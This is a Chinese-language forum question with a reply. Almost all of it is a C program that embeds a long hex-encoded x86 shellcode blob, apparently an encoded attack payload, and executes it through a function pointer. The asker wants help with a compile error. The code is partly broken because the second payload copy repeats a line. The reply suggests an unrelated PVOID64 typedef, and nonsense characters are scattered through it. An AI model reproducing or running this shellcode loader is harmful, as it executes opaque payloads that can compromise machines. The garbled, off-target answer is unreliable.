语法错误 : 缺少“;”(在“类型”的前面)



#include<stdlib.h>
#include<stdio.h>
void (*fp)() ;
int main(int ac, char **av)
{
char shell[] =
"\x33\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b"
"\x32\x87\x95\x83\xeb\xfc\xe2\xf4\x97\xda\xc3\x95\x6b\x32\x0c\xd0"
"\x57\xb9\xfb\x90\x13\x33\x68\x1e\x24\x2a\x0c\xca\x4b\x33\x6c\xdc"
"\xe0\x06\x0c\x94\x85\x03\x47\x0c\xc7\xb6\x47\xe1\x6c\xf3\x4d\x98"
"\x6a\xf0\x6c\x61\x50\x66\xa3\x91\x1e\xd7\x0c\xca\x4f\x33\x6c\xf3"
"\xe0\x3e\xcc\x1e\x34\x2e\x86\x7e\xe0\x2e\x0c\x94\x80\xbb\xdb\xb1"
"\x6f\xf1\xb6\x55\x0f\xb9\xc7\xa5\xee\xf2\xff\x99\xe0\x72\x8b\x1e"
"\x1b\x2e\x2a\x1e\x03\x3a\x6c\x9c\xe0\xb2\x37\x95\x6b\x32\x0c\xfd"
"\x57\x6d\xb6\x63\x0b\x64\x0e\x6d\xe8\xf2\xfc\xc5\x03\x4c\x5f\x77"
"\x18\x5a\x1f\x6b\xe1\x3c\xd0\x6a\x8c\x51\xea\xf1\x45\x57\xff\xf0"
"\x4b\x1d\xe4\xb5\x05\x57\xf3\xb5\x1e\x41\xe2\xe7\x4b\x5e\xee\xf4"
"\x05\x55\xe5\xfc\x05\x12\xf5\xe0\x08\x12\xa8\xd4\x2f\x76\xa7\xb3"
"\x4d\x12\xe9\xf0\x1f\x12\xeb\xfa\x08\x53\xeb\xf2\x19\x5d\xf2\xe5"
"\x4b\x73\xe3\xf8\x02\x5c\xee\xe6\x1f\x40\xe6\xe1\x04\x40\xf4\xb5"
"\x07\x5b\xe6\xfb\x0c\x50\xee\xfb\x4b\x1d\xc6\xd1\x2f\x32\x87\x95";

char *shellcode;
shellcode=(char*)malloc(sizeof(shell));

shellcode="\x33\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b"
"\x33\xc9\x83\xe9\xca\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x6b"
"\x32\x87\x95\x83\xeb\xfc\xe2\xf4\x97\xda\xc3\x95\x6b\x32\x0c\xd0"
"\x57\xb9\xfb\x90\x13\x33\x68\x1e\x24\x2a\x0c\xca\x4b\x33\x6c\xdc"
"\xe0\x06\x0c\x94\x85\x03\x47\x0c\xc7\xb6\x47\xe1\x6c\xf3\x4d\x98"
"\x6a\xf0\x6c\x61\x50\x66\xa3\x91\x1e\xd7\x0c\xca\x4f\x33\x6c\xf3"
"\xe0\x3e\xcc\x1e\x34\x2e\x86\x7e\xe0\x2e\x0c\x94\x80\xbb\xdb\xb1"
"\x6f\xf1\xb6\x55\x0f\xb9\xc7\xa5\xee\xf2\xff\x99\xe0\x72\x8b\x1e"
"\x1b\x2e\x2a\x1e\x03\x3a\x6c\x9c\xe0\xb2\x37\x95\x6b\x32\x0c\xfd"
"\x57\x6d\xb6\x63\x0b\x64\x0e\x6d\xe8\xf2\xfc\xc5\x03\x4c\x5f\x77"
"\x18\x5a\x1f\x6b\xe1\x3c\xd0\x6a\x8c\x51\xea\xf1\x45\x57\xff\xf0"
"\x4b\x1d\xe4\xb5\x05\x57\xf3\xb5\x1e\x41\xe2\xe7\x4b\x5e\xee\xf4"
"\x05\x55\xe5\xfc\x05\x12\xf5\xe0\x08\x12\xa8\xd4\x2f\x76\xa7\xb3"
"\x4d\x12\xe9\xf0\x1f\x12\xeb\xfa\x08\x53\xeb\xf2\x19\x5d\xf2\xe5"
"\x4b\x73\xe3\xf8\x02\x5c\xee\xe6\x1f\x40\xe6\xe1\x04\x40\xf4\xb5"
"\x07\x5b\xe6\xfb\x0c\x50\xee\xfb\x4b\x1d\xc6\xd1\x2f\x32\x87\x95"
;

void (*fp)() = shellcode;
fp();

free(shellcode);

return 0;
}

编译错误,提示: 语法错误 : 缺少“;”(在“类型”的前面)
请问是什么原因?
声明时使用的类型则搏没有定义。

可能是缺少包含了头文件。衫郑要么找到定义该类型的地方,要么自己定义一下, 比如PVOID64,就在用到PVOID64的前面孙塌祥
typedef long long PVOID64;
即可